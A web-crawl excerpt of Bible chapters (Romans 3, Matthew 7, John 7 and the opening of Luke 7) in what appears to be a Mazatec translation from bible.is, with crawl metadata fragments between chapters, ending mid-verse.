'koa̱á jngoya‑la̱ koni tsa xán‑la̱ ye̱. 14Ngi ta 'én 'choó kitse'á tsa'ba nga chja̱jno‑la̱ xi̱ta̱, ko̱ 'én ra ajò ma‑la̱ inìma̱‑ná. 15Mahachikon kjòn nga sí'ken xi̱ta̱ xákjín nga bíxten jní‑la̱. 16Ta ñánda̱ nga bima, ngi nga síton‑ní, nga síkjehesko mé ra tjín. 17Mì kì be jè ndi̱yá ra ya̱ fìko̱‑ná ñánda̱ tjín kjo̱'nchán. 18Tsìn‑la̱ kjo̱skon‑la̱ Nainá a̱'ta 'tse̱ kjoa̱ ra 'sín. 19Ijyeé 'ya‑ná koni 'sín tsò ijye jè kjo̱téxoma ra 'tse̱ Moisés, jñá‑ní ra ko̱'sín títsò‑la̱ jñà xi̱ta̱ ra ya̱ fì'ta‑la̱, mé‑ni nga nga'tsì xi̱ta̱, mì kì ma ki̱chja̱‑ni ya̱ ngixko̱n Nainá; ko̱ mé‑ni jè Nainá ki̱ìndajín‑la̱ jè ra kjoa̱ 'tse̱ jé‑la̱, nga'tsì xi̱ta̱ ra tjín i̱ i̱sà'nde. 20Ni̱jngo xi̱ta̱ ra xi̱ta̱ kixi̱ ko̱ma‑ni ya̱ ngixko̱n Nainá, ra ta nga̱tjì‑la̱ nga nda si̱hitjasòn kjoa̱ ra síjé kjo̱téxoma 'tse̱ Moisés. Ta nga̱tjì‑la̱ jè kjo̱téxoma, ta kií xá tíjna‑ni nga isa̱ nda 'ya‑la̱ jè jé ra tjín‑ná. 21Tanga 'ndi̱ 'ndi̱, tí'yaá‑la̱ kó'sín 'sín Nainá nga xi̱ta̱ kixi̱ 'sín‑ná, ko̱ mì tsa ki‑ni nga nihitjasén kjo̱téxoma. Ta kií‑ní nga makjiín‑ná a̱'ta 'tse̱ Cristo. Nga̱ ti̱jé‑ni Kjo̱téxoma, 'koa̱á 'sín tsjá 'én, ko̱ 'koa̱á ti̱'sín kitsò xi̱ta̱ ra kiìchja̱ ngajo‑la̱ Nainá kjotseé 22nga ya̱á nchrabá‑ni nga xi̱ta̱ kixi̱ 'sín‑ná Nainá 'kia̱ nga makjiín‑ná ra a̱'ta 'tse̱ Cristo. Ko̱ 'koa̱á 'sín si̱ìko̱ ijye nga'tsì ra ko̱kjiín‑la̱. Nga̱ ngásòn ngáya kjòn nga'tsiòo̱, 23ta nga̱tjì‑la̱ nga̱ nga'tsí xi̱ta̱ nga tsakátsji‑jé; kjiín tjítsa̱jna‑la̱ ya̱ ñánda̱ nga tíjna jè kjoa̱jeya‑la̱ Nainá. 24'Koa̱á ma‑ni nga jè Nainá ta ko̱ó kjo̱nda‑la̱ ko̱ ngi ta kjo̱tjó‑ní nga xi̱ta̱ kixi̱ 'sín‑ná. Ta kií‑ní nga̱ jè Jesucristo tsikíchjítjì‑ná, 'koa̱á ma‑ni nga ma tsikìtsa̱jnandi̱í‑ná ra kjoa̱ 'tse̱ jé‑ná. 25Nainá kitsjá I'ndí‑la̱ koni jngo kjo̱tjò ra faháxìn jé‑ná ya̱ ngixko̱n Nainá, 'kia̱ nga makjiín‑ná a̱'ta 'tse̱ Jesucristo, nga jè tsikíxten jní‑la̱ 'kia̱ nga 'ken. Nainá, 'koa̱á 'sín bakón tsijen kó'sín nga kixi̱ 'sín ra jè; ta nga̱tjì‑la̱ nga ti̱'sa̱ kjotseé, Nainá maá‑la̱ nga iskoñákjoa̱, mì tsa ta ndi̱to̱n kitsjà‑la̱ kjo̱hi'in xi̱ta̱ koni 'sín bakèn‑la̱ ta nga̱tjì‑la̱ jñà jé ra tsakátsji. 26Ko̱ jè ni̱chjin ra titsa̱jneé 'ndi̱, 'koa̱á 'sín isìkasén jè Jesucristo mé‑ni nga ki̱ìndajín‑ni kjoa̱ ra tsikíjna chró'bá. 'Koa̱á ma‑ni nga xi̱ta̱ kixi̱í ra jè, ko̱ nga ta jé‑ní ra ma‑la̱ xi̱ta̱ kixi̱ 'sín jñà xi̱ta̱ ra bá'ta ikon jè Jesús. 27¿Ñánda̱ sijna‑ni jè kjoa̱ ra jè xi̱ta̱ nda bachrjengi ijo‑la̱? Ta ya̱á chija, mì kì ti̱ mé chjí‑la̱. ¿Tanga mé‑ni? ¿Ñánda̱ nchrabá‑ni kjo̱hixi̱? ¿A kií‑ní nga i̱nchiniìtjasén jè Kjo̱téxoma? Majìn, ta kií‑ní nga tjín jngo kjo̱hixi̱ nga makjiín‑ná ra a̱'ta 'tse̱ Jesús. 28'Koa̱á 'sín machi̱ya‑ná ra fehe'ta‑ni, nga jè Nainá, ta kií xi̱ta̱ kixi̱ 'sín‑ná, ta nga̱tjì‑la̱ nga makjiín‑ná a̱'ta 'tse̱ Jesús; mì tsa ki‑ni nga Kjo̱téxoma 'tse̱ Moisés nda si̱hitjasén. 29Jè Nainá, ¿a tà Nainá‑la̱ xi̱ta̱ judío‑ní? ¿A mí tsa 'tse̱‑te ra taxki̱ xi̱ta̱? Ngi kixi̱í kjoa̱ nga 'tse̱é‑te ni̱'sín ta yá xi̱ta̱‑ni. 30Nga̱ jngoó‑ni jè Nainá. Jè‑ní ra ma‑la̱ nga xi̱ta̱ kixi̱ 'sín jñà ra xi̱ta̱ judío ra tjí'ta chi̱ba̱ ijo‑la̱, 'kia̱ nga ko̱kjiín‑la̱ a̱'ta 'tse̱ Jesús; ti̱'koa̱á xi̱ta̱ kixi̱í 'si̱in‑te jñà ra taxki̱ xi̱ta̱ ra mì kì tjí'ta chi̱ba̱ ijo‑la̱, 'kia̱ nga ko̱kjiín‑te‑la̱ ra a̱'ta 'tse̱ Jesús. 31'Kia̱ nga makjiín‑ná a̱'ta 'tse̱ Jesucristo, ¿a i̱nchinachrje‑ngi‑ná jè kjoa̱ 'tse̱ kjo̱téxoma? Majìn, mì tsa i̱nchinachrjengieé; ya̱á jnchro nda i̱nchinikatsíjeén nga kií xá tjín‑la̱ jè kjo̱téxoma.\nRomanos 3","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Rom\/3","date":"2013-12-06T17:29:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163052275\/warc\/CC-MAIN-20131204131732-00011-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":25,"top_langs":"{\"maa_Latn_score\": 1.000009536743164}","num_words":928,"character_repetition_ratio":0.077,"word_repetition_ratio":0.002,"special_characters_ratio":0.249,"stopwords_ratio":0.35,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Kì kjo̱'in 'biì‑là xi̱ta̱ xinguio̱o kjoa̱ ts'e̱ jé‑la̱ mé‑ne nga mì kjo̱'in tjoé‑nò kjoa̱ ts'e̱ jé‑nò. 2Koni s'ín k'oi̱‑là kjo̱'in xi̱ta̱ xi kj'ei̱í, k'oa̱á ti̱s'ín tjoé ngajo‑nò kjo̱'in. Jè chi̱ba̱ xi si̱chi̱ba̱ya‑là xinguio̱o, ti̱jè ko̱chi̱ba̱ ngajo‑nò. 3[¿Mé‑ne jé‑la̱ xingui̱i nìkinda̱‑ne koa̱ tsi̱ji mìkiì nìkindi̱i?] ¿Mé‑ne chìtsejèn‑la̱ jè tjé xi kjinangui xko̱n xingui̱i, ko̱ jè yá chi̱so̱ xi kjinangui xkoiìn mìkiì chìtsejèn‑la̱? 4Tsà yá chi̱so̱ kjinangui xkoiìn, ¿a ko̱ma k'oín‑la̱ xi̱ta̱ xingui̱i: \"Tjiì'nde‑ná nga kochrjekànguia tjé xi kjinangui xkoiìn\"? 5Ngaji̱ xi jò ma i̱sén‑lè, ítjòn ti̱nachrjekàngui chi̱so̱ xi kjinangui xkoiìn mé‑ne nga ndaà ko̱tsejèn‑lè, i̱kjoàn ti̱nachrjekàngui tjé xi kjinangui xko̱n xingui̱i. 6'Tsojmì tsjeè xi ts'e̱ Nainá, kì nañá 'biì‑la̱ mé‑ne nga mì ya̱ si̱ìkáfat'aà‑lè ko̱ ya̱ ski̱ne̱‑lè. Koa̱ jè ndáto̱n chjí xi nìkjiín, kì chi̱nga̱ nìkatje̱n‑la̱ mé‑ne nga mì ndso̱ko̱ ki̱nchanè‑ne. 7'Ti̱jé mé xi mejèn‑nò, jè Nainá tsjá‑nò; ti̱nchátsjioò Nainá, sakó‑nò; ti̱nókjoa̱t'aà‑là Nainá mé xi mejèn‑nò mé‑ne skíx'a̱'nde‑nò koni jngoò xotjoa̱. 8Ngats'iì xi̱ta̱ xi síjé, tjoé‑la̱, jè xi ótsji, sakó‑la̱ ko̱ jè xi chja̱t'aà‑la̱ Nainá, táx'a̱'nde‑la̱ koni jngoò xotjoa̱. 9'Jñò xi xi̱ta̱ jchínga 'mì‑nò, tsà i̱nchra̱jín si̱ìjé‑nò i̱xti‑nò, ¿a nda̱jo̱ó k'oi̱‑là? Majìn. 10Koa̱ tsà ti̱n si̱ìjé‑nò, ¿a ye̱é k'oi̱‑là? Majìn. 11Jñò na̱s'ín xi̱ta̱ xi ch'o 'nè, ma‑nò 'biì‑là i̱xti‑nò tsojmì xi ndaà kjoàn. Jè Na̱'èn‑nò xi tíjna ngajmiì, ìsa̱á ni̱to̱n si̱ìs'in‑nò nga tsjá‑nò tsojmì xi ndaà kjoàn tsà jñò si̱jét'aà‑là. 12'Ni̱ta̱ mé kjo̱ndaà xi mejèn‑nò nga si̱ìko̱‑nò xi̱ta̱, k'oa̱á ti̱s'ín ti̱ko̱ ngajo‑nò. K'oa̱á s'ín tíchja̱ kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés ko̱ xo̱jo̱n‑la̱ xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá. 13'Ti̱tjás'io̱òn jè xotjoa̱ xi 'nchrèya kji. Jè xotjoa̱ ko̱ jè ndi̱yá xi 'ñó tiyà, ndi̱yá‑la̱ kjo̱'in‑né. Kjìn xi̱ta̱ xi ya̱ fahas'en. 14Ko̱ jè xotjoa̱ ko̱ ndi̱yá xi 'nchrèya choòn, ndi̱yá‑la̱ kjoa̱binachon‑né, ko̱ chiba xi̱ta̱ matsji‑la̱. 15'Ndaà ti̱kinda̱a yijo‑nò i̱t'aà ts'e̱ xi̱ta̱ ndiso xi tsò nga 'én‑la̱ Nainá síka'bí. K'e̱ nga f'iìkon‑nò jñà xi̱ta̱ koi, i̱ma̱ kjoa̱á s'ín koni orrè ta̱nga ini̱ma̱‑la̱, tse̱jén ts'e̱én 'ya. 16Jñò jcha̱xkoòn xi̱ta̱ koi i̱t'aà ts'e̱ xá xi s'ín. K'oa̱á ngaya‑la̱ koni jngoò yá xi ndaà toò ojà‑la̱. Jè toò uva, mìtsà jè majchá‑la̱ yá na'yá. Ti̱koa̱á jè toò iko̱, mìtsà jè majchá‑la̱ yá na'yá. 17Ngats'iì yá xi ndaà kjoàn, ndaà toò ojà‑la̱. Ta̱nga jè yá xi mìkiì ndaà kjoàn, mìkiì ndaà toò xi ojà‑la̱. 18Jngoò yá xi ndaà kji, mìtsà ch'o kjoàn toò xi ojà‑la̱. Koa̱ jè yá xi ch'o kji, mìkiì ojà‑la̱ toò xi ndaà kjoàn. 19Nga yije yá xi mìkiì ojà‑la̱ toò xi ndaà, sa̱tèsòn‑la̱ i̱kjoàn si̱nchájiìn ni'ín nga ki̱ti̱. 20K'oa̱á s'ín jcha̱xkoòn xi̱ta̱ koi i̱t'aà ts'e̱ xá xi s'ín. 21'Mìtsà tà ngats'iì xi̱ta̱ xi tsò‑na: \"Na̱'èn, Na̱'èn\", kjoa̱s'en‑jiìn jè kjo̱tíxoma‑la̱ ngajmiì. Tà jñà xi̱ta̱ xi kjoa̱s'en‑jiìn xi síkitasòn koni s'ín mejèn‑la̱ Na̱'èn‑na xi tíjna ngajmiì. 22K'e̱ nga ki̱jchò na̱chrjein, kjìn xi̱ta̱ ki̱tso̱‑na: \"Na̱'èn, Na̱'èn, ngaje̱n kinokjoàya‑náje̱n 'én‑lè xi i̱t'aà tsi̱ji. Nga ko̱ó 'ín‑lè kinachrjekàjiìn‑náje̱n ini̱ma̱ ch'o‑la̱ nei̱í xi mìkiì ndaà; ti̱koa̱á kjìn kjo̱xkón ki'nè‑je̱n xi ndaà tjín.\" 23K'e̱é k'oa̱ xán‑la̱: \"Mìkiì bexkon‑nò. Ti̱nchat'aàxìn‑ná jñò xi ch'o ki'nè.\" 24'Jè xi 'nchré koa̱ síkitasòn 'én‑na̱ koni xan‑la̱, k'oa̱á s'ín ngaya‑la̱ koni jngoò xi̱ta̱ xi tjín‑la̱ kjo̱hítsjeèn; ya̱á bíndaàsòn ni'ya‑la̱ ñánda na̱xi̱ choòn. 25'Ba jtsí; 'ba tjo̱xkón; f'iì xa̱jngá nandá xi fahanè ni'ya; nì mé xi ma‑la̱ nga ndaà tjíndaà jè ni'ya, ya̱á kijnasòn ñánda na̱xi̱ choòn. 26Ta̱nga ni̱ta̱ yá‑ne xi 'nchré 'én‑na̱ ko̱ mìkiì síkitasòn, k'oa̱á ngaya‑la̱ koni jngoò xi̱ta̱ xi tsjìn‑la̱ kjo̱hítsjeèn; ya̱á bíndaàsòn ni'ya ñánda jncha tsomì. 27'Ba jtsí; 'ba tjo̱xkón; f'iì xa̱jngá nandá ya̱á bixòña ni'ya jè; mì tà k'oa̱á kji kjoa̱ xi ma k'e̱ nga bixòña. 28K'e̱ nga jye kiìchja̱ Jesús, ngats'iì xi̱ta̱ xi títsa̱jna, tà k'oa̱á komà‑la̱ koni tsò 'én xi tsakóya. 29K'oa̱á s'ín tsakóya koni jngoò xi̱ta̱ xi 'ñó tjín‑la̱ kjo̱tíxoma, mìtsà k'oa̱s'ín tsakóya koni xi̱ta̱ xi okóya kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés.\nSan Mateo 7","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Matt\/7","date":"2013-12-13T17:45:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164965557\/warc\/CC-MAIN-20131204134925-00046-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000091791,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"maa_Latn_score\": 1.0000091791152954}","num_words":613,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.268,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Kia̱ nga ijye kjomà kjoa̱ kìi̱, Jesús ya̱á tsajme nangi 'tse̱ Galilea. Majìn‑la̱ nga ya̱ ko̱jme ya̱ nangi Judea, nga̱ jñà xi̱ta̱ judío i̱nchibátsji‑ni nga mejèn‑la̱ si̱ì'ken. 2Ijyeé tímachraña 'sí‑la̱ Ni'ya Xka̱, jngo 'sí ra jñà xi̱ta̱ judío bachrje. 3Jñà 'ndse̱ kitsó‑la̱: ―Kì tà chjàn ta i̱ bijni i̱jndíi̱; 'tin‑ti ya̱ ján Judea mé‑ni katabe‑te‑ni jñà kjoa̱ ra 'nì xi̱ta̱ ra kotá'yá'ta‑li ra ya̱ tjítsa̱jna ján. 4'Kia̱ nga mejèn‑ná ske̱xkon‑ná xi̱ta̱, mì tsa kjo̱'ma 'sie̱én jngo kjoa̱ ra ma‑ná. Tsa 'koa̱á tjín kjoa̱ ra ma‑li 'nì, ko̱'ti̱in ya̱ ngixko̱n xi̱ta̱ i̱sà'nde. 5Nga̱ skanda jñà 'ndse̱ Jesús mì kì kjokjiín‑la̱ ra a̱'ta 'tse̱. 6Kiìchja̱á Jesús, kitsò‑la̱: ―'A̱n kjè kì bijchó ni̱chjin‑na̱, tanga ra a̱'ta tsa̱jiòn‑jiòn nda‑ní ta mé ni̱chjin‑nioo̱ nga kongió. 7Jiòn mì kì ma si̱ìjtike‑no jñà xi̱ta̱ i̱sà'nde; tanga 'a̱n jtikeé‑na, ta nga̱tjì‑la̱ 'koa̱á 'sín xin kixi̱‑la̱ nga 'choó tjín kjoa̱ ra 'sín ra jñà. 8Tangió ra jiòn 'sí; 'a̱n mì kì kjín jiàa̱n, nga̱ kjè kì bijchó ni̱chjin‑na̱. 9'Kia̱ nga ijye ko̱kitsò‑la̱ 'én kìi̱, jè, ya̱á tsikijna ya̱ i̱'nde Galilea. 10Tanga 'kia̱ nga ijye kijì jñà 'ndse̱, Jesús takó ti̱'koa̱á kijì‑te‑ni 'sí, tanga mì tsa ikòn ijo‑la̱; koni ta kijì'ma‑ní. 11Jñà xi̱ta̱ judío i̱nchibátsjií ya̱ a̱jin 'sí, tsò‑la̱ xákjién: ―¿Ñánda̱ tíjna xi̱ta̱ ra̱kìi̱? 12Nga'tsì xi̱ta̱ ra ijchò 'sí, jndíi̱ ra ján jo̱óya‑ni a̱'ta 'tse̱ Jesús. Tjín ra tsò: \"Xi̱ta̱ nda‑ní\", ti̱'koa̱á tjín ra tsò: \"Majìn, xi̱ta̱ na̱xi̱ndá konda̱cha̱‑la̱.\" 13Tanga ni̱yá ra kiìchja̱ tsijen a̱'ta 'tse̱. Jñà xi̱ta̱, jñà itsakjòn‑la̱ xi̱ta̱xá ítjòn‑la̱ xi̱ta̱ judío. 14'Kia̱ nga ijye ijchò masen‑la̱ 'sí, 'jaha'seén Jesús ya̱ i̱ngo̱ ítjòn nga tsakón‑ya‑la̱ xi̱ta̱. 15Ko̱ ta kjóxkón‑la̱ jñà xi̱ta̱ judío koni 'sín nga ikòn‑ya‑la̱ xi̱ta̱, kitsò‑la̱ xákjién: ―¿Kó'sín ma‑ni nga ta̱ nda bakón‑ya xi̱ta̱ ra̱kìi̱ nga̱ mì tsa tsijen iskotá'yá‑jìn? 16Jesús kitsó‑la̱: ―Jñà 'én ra 'a̱n bakon‑yáa̱, mì tsa tsa̱'a̱n jiàa̱n; 'tse̱é‑ní jè ra isìkasén‑na. 17Tsa yá ra mejèn‑la̱ nga si̱hitjasòn koni 'sín nga mejèn‑la̱ Nainá, ya̱á ske̱‑ni a a̱'ta 'tse̱é Nainá nchrabá‑ni jè 'én ra 'a̱n bakon‑yáa̱, o̱ ra ta 'a̱án bi'tín‑la̱ ijo‑na̱ koni 'sín xiaa̱n. 18Jngo xi̱ta̱ ra ta jè bí'tin‑la̱ ijo‑la̱ nga chja̱, jè ra mejèn‑la̱ nga jè 'nga si̱ìkíjna ijo‑la̱; tanga jè xi̱ta̱ ra jè 'nga síkíjna jè ra isìkasén, jè xi̱ta̱ ra̱kìi̱, ngi 'én kixi̱í ra tsjá, ko̱ mì tsa 'én ndiso ra chja̱. 19'¿A mí tsa kixi̱ kjoa̱ nga itjábé‑no jè kjo̱téxoma‑la̱ Nainá ra jè Moisés tsikínda? Tanga jiòn, ni̱jngo ra ma‑la̱ síhitjasòn. ¿Mé‑ni nga mejèn nì'ken‑nájiòn? 20Jñà xi̱ta̱ kitsó‑ní: ―Ni̱í‑la tíjnajin ya̱ inìma̱‑li. ¿Yá ra ko̱tsò‑li nga mejèn si̱'ken‑laji̱n? 21Jesús kiìchja̱ kitsó‑la̱: ―Jiòn, 'ñó maxkón‑no nga ta jngo‑ni kjoa̱ ra kí'siaa̱n 'kia̱ nga ni̱chjin níkjáya. 22Kixi̱í kjoa̱, Moisés tsikí'tiín‑no nga si̱itjasòn kjoa̱ 'tse̱ circuncisión nga si̱'ta chi̱ba̱ ijo‑la̱ xi̱ta̱ 'xi̱n (ni̱'sín mì tsa a̱'ta 'tse̱ kjòn‑ni Moisés; nga̱ ya̱á inchrabà‑nì a̱'ta 'tse̱ xi̱ta̱ jchínga ra tsikihijyo ítjòn kjotseé). Ko̱ bi'ta chi̱ba̱‑najiòn ijo‑la̱ xi̱ta̱ 'xi̱n ni̱'sín ni̱chjin níkjáya. 23Tsa ko̱'sín 'nià jiòn nga mejèn‑no mì kì jchi̱ja kjo̱téxoma ra tsikíjna Moisés, ¿mé‑ni nga majti‑najiòn nga jngo xi̱ta̱ nda kjón ísindá‑na 'kia̱ nga ni̱chjin níkjáya? 24Kì tà ko̱'sín chosòn‑la koni 'sín jiòn tsijen‑no. 'Koa̱á 'sín jchósòn‑la koni 'sín nga kixi̱ tjín kjòn ra kjo̱hixi̱. 25Tjín i'ka xi̱ta̱ ra Jerusalén 'tse̱ ra kitsò: ―¿A mí tsa jè xi̱ta̱ ra̱kìi̱ ra i̱nchibátsji jñà xi̱ta̱ judío nga mejèn‑la̱ nga si̱ì'ken? 26Chítsijen‑la‑ni̱ kó'sín tíchja̱jin masen‑la̱ xi̱ta̱, ko̱ ni̱ ta yá ra kótsò‑la̱. ¿A 'koa̱á 'sín i̱nchimakjiín‑la̱ xi̱ta̱xá tsa 'koa̱, nga jè xi̱ta̱ ra̱kìi̱, jé‑ní ra Cristo [ra xá Nainá isìkasén‑ni]? 27Tanga jién 'ya‑ná ñánda̱ nchrabá‑ni ra̱kìi̱. Tanga 'kia̱ nga kj'i̱í jè ra Cristo, mì kì jcha̱‑la̱ ñánda̱ kj'i̱í‑ni. 28Jesús, 'kia̱ nga tíbakón‑ya ya̱ ndi̱tsin i̱ngo̱ ítjòn, kií'nchré‑ní koni 'sín kitsò jñà xi̱ta̱; 'kia̱á 'ñó kiìchja̱ kitsò: ―Ndaá 'yaxkon‑nájiòn ko̱ ndaá 'ya jiòn ñánda̱‑ni tsa̱'a̱n; tanga mì tsa tà a̱'ta tsa̱'a̱n 'jíi̱‑na; ngi jè sabá Nainá ra isìkasén‑na, jè ra mì 'yaxkon jiòn. 29'A̱n, ndaá bexkon nga ya̱á inchrabà‑na a̱'ta 'tse̱; ko̱ jé isìkasén‑na. 30Jñà xi̱ta̱ sí mején‑la̱ nga jtsa̱ba̱'ñó kjòn, tanga ni̱jngo ra kitsò ikon nga itsabá'ñó nga̱ kjè kì bijchó ni̱chjin‑la̱ nga ki̱yá. 31'Ñó kjìn xi̱ta̱ kjokjiín‑la̱ koni 'sín kitsò Jesús, kitsò‑la̱ xákjién: ―¿A isa̱á kjìn kjo̱xkón 'si̱in Cristo 'kia̱ nga jè ra kj'i̱í koni 'sín tjín ra tí'sín jè xi̱ta̱ ra̱kìi̱? Jé‑la ra̱kìi̱ ra Cristo. 32Jñà xi̱ta̱ fariseo 'kia̱ nga kií'nchré koni 'sín i̱nchitsò xi̱ta̱ ra a̱'ta 'tse̱ Jesús; jñà xi̱ta̱ ítjòn‑la̱ na̱'mì ko̱ xi̱ta̱ fariseo isìkasén xi̱ta̱ ra síkinda̱ ya̱ i̱ngo̱ mé‑ni nga katatsaba‑ni Jesús tsiki. 33Jesús kitsó‑la̱: ―'A̱n, ta chibaá ni̱chjin kóti̱jnako̱o‑no, a̱kjòn kjín india‑na ya̱ ñánda̱ nga tíjna ra isìkasén‑na. 34Jiòn ni̱'sín kjótsji‑nájiòn tanga mì kì sa̱kò‑no, nga̱ mì kì ko̱ma kongí jiòn ya̱ ñánda̱ nga kóti̱jna ra 'a̱n. 35Jñà xi̱ta̱ judío 'kia̱á tsikí'tsia̱ nga iskonangi‑la̱ xákjién, kitsò: ―¿Ñánda̱ ki̱ji̱ xi̱ta̱ ra̱kìi̱? ¿Mé‑ni nga mì kì ko̱ma sa̱kó‑ná? ¿A ya̱á ikijnajin‑la̱ xi̱ta̱ judío jñà ra jndíi̱ ra ján xìn tjítsa̱jna ko̱ nga ko̱kòn‑ya‑la̱ ra taxki̱ kj'ií xi̱ta̱? 36¿Kó tsò‑ni ra ko̱tsò‑la̱, nga tsó‑ná: \"Jiòn, ni̱'sín takó kjótsji‑nájiòn, tanga mì kì sa̱kò‑no, nga̱ mì kì ko̱ma kongió jiòn ya̱ ñánda̱ kóti̱jna ra 'a̱n\"? 37Jè ni̱chjin ra fehe'ta‑ni 'kia̱ nga je 'sí, tsasijna kixi̱í Jesús ko̱ 'ñó kiìchja̱, nga kitsò: ―Tsa yá ra xándá‑la̱ katanchrabá'ta‑na ko̱ kata'bi. 38Koni 'sín tíchja̱ xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá nga tsò: Jè ra ko̱kjiín‑la̱ ra a̱'ta tsa̱'a̱n, ya̱ a̱jin inìma̱‑la̱, 'koa̱á 'sín ko̱ma koni jngo i̱'nde ñánda̱ tíbitjo nandá ra mì kì xìya ra síkítsa̱kon‑ni xi̱ta̱. 39'Kia̱ nga ko̱'sín kitsò Jesús, jé kiìchja̱ a̱'ta 'tse̱ Inìma̱ Tsje‑la̱ Nainá ra tjábé‑la̱ jñà xi̱ta̱ ra ko̱'sín ko̱kjiín‑la̱ ra a̱'ta 'tse̱, ta nga̱tjì‑la̱ nga takó kjè kì bitjojen jè Inìma̱ Tsje‑la̱ Nainá 'kia̱ nga ko̱'sín kitsò Jesús; nga̱ ki, jè Jesús, takó kjè fì‑ni ján ngajmi nga ma jeya kíjna. 40Jñà xi̱ta̱ 'kia̱ nga kií'nchré jñà 'én kìi̱, tjín i'ka ra kitsò: ―Kixi̱í kitií kjoa̱, jé xi̱ta̱ ra̱kìi̱ ra tjínè‑la̱ nga kj'i̱í nga ki̱chja̱ ngajo‑la̱ Nainá. 41Ti̱'koa̱á jñà xi̱ta̱ ra i'ka kitsó‑ní: ―Xá jè kiti‑ni xi̱ta̱ ra̱kìi̱ ra Cristo [ra xá isìkasén‑ni Nainá]. Tanga tjín‑te i'ka ra kitsò: ―Majìn, jè ra Cristo, mì tsa Galilea kj'i̱í‑ni. 42Jè Xa̱jo̱n ra tjí'ta 'Én‑la̱ Nainá, 'koa̱á 'sín tíchja̱ nga jè ra Cristo, tjíné‑la̱ nga ya̱ kji̱nchrabà‑ni ya̱ tje̱‑la̱ David, ko̱ ya̱á kj'i̱í‑ni ya̱ na̱xi̱ndá Belén ti̱ya̱‑ni ñánda̱ na̱xi̱ndá‑la̱ David kjomà. 43'Koa̱á 'sín kjomà‑ni nga kjojòya xi̱ta̱ ra tà nga̱tjì 'tse̱ Jesús. 44Tjín i'ka ra mejèn‑la̱ nga jtsa̱ba̱'ñó nga i̱ko̱ nda̱yá, tanga ni̱jngo ra kitsò ikon nga itsabá'ñó. 45'Kia̱ nga tsáfa‑ni jñà xi̱ta̱ ra síkinda̱ i̱ngo̱ ya̱ ñánda̱ nga tjítsa̱jna jñà xi̱ta̱ fariseo ko̱ xi̱ta̱ ítjòn‑la̱ na̱'mì, iskonangií‑la̱ nga kitsò‑la̱: ―¿Mé‑ni mì kì kanchrabáko̱‑no jè xi̱ta̱ ra̱kìi̱? 46'Kia̱á kitsò xi̱ta̱ kìi̱: ―Kjè tsa jngo xi̱ta̱ ra ko̱'sín na'yá‑laji̱n koni 'sín tsò xi̱ta̱ ra̱kìi̱. 47'Kia̱á kiìchja̱ jñà xi̱ta̱ fariseo, kitsò‑la̱: ―¿A ti̱'koa̱á kàmakjiín‑te‑najiòn 'én ndiso ra chja̱? 48¿A ya̱á i̱nchimakjiín‑la̱ jñà xi̱ta̱ ítjòn‑ná ko̱ xi̱ta̱ fariseo? 49Tanga jñà xi̱ta̱ kìi̱ ra mì kì be kjo̱téxoma, jè Nainá katatsjá i'in‑la̱. 50Jè Nicodemo, jè xi̱ta̱ fariseo ra ijye a̱sa tsakáko̱ Jesús, kitsó‑la̱: 51―Jè kjo̱téxoma tsa̱jién mì kì tsjá'nde nga jngo xi̱ta̱ taxki̱ 'ki̱‑lá kjo̱hi'in, tsa ti̱kjè nda na'yá‑la̱ mé ra ki'sìn kjòn‑ni. 52Jñà xi̱ta̱, kitsò‑la̱: ―¿A ti̱'koa̱á Galilea‑te i̱'nde‑li? Nda chjítá'yí jè xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá; ya̱á jcha̱‑ni nga kjè sa jngo xi̱ta̱ ra síchjeén Nainá nga chja̱ ngajo‑la̱ ya̱ nchrabá‑ni ya̱ Galilea. 53Nga'tsì xi̱ta̱ kja̱ kijì kja̱ kijì‑ni ni'ya‑la̱ nga jngó jngóo̱.\nSan Juan 7","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/John\/7","date":"2013-12-10T01:44:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164004057\/warc\/CC-MAIN-20131204133324-00012-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"maa_Latn_score\": 1.000009298324585}","num_words":1200,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.341,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Kia̱ nga ijye tsakón‑ya‑la̱ Jesús jñà xi̱ta̱ ra i̱nchi'nchré‑la̱, ya̱á kijì ya̱ na̱xi̱ndá Capernaum. 2Jngo chíchàn ítjòn tíjna ya̱, ra 'ñó kiya jngo chi̱'nda‑la̱ ra 'ñó tsjake. Ijyeé mejèn tíbiya. 3'Kia̱ nga kií'nchré a̱'ta 'tse̱ Jesús, isìkasén xi̱ta̱ jchínga ra xi̱ta̱ judío nga kiì kítsa'ba‑la̱ Jesús mé‑ni nga katanchrabá sínda‑ni jè chi̱'nda‑la̱ ra kiya. 4Jñà xi̱ta̱ jchínga, 'kia̱ nga ijchòjkon Jesús 'ñó tsikítsa'ba‑la̱, kitsò‑la̱: ―'Ñó machjeén‑la̱ nga ki̱si̱ki̱i xi̱ta̱ ítjòn ra̱kìi̱. 5Nga̱ 'ñó tsjake na̱xi̱ndá ra chja̱‑ni Judea; jè tsikínda jngo‑ná ni'ya sinagoga ñánda̱ nga maxkóya xi̱ta̱ Judío 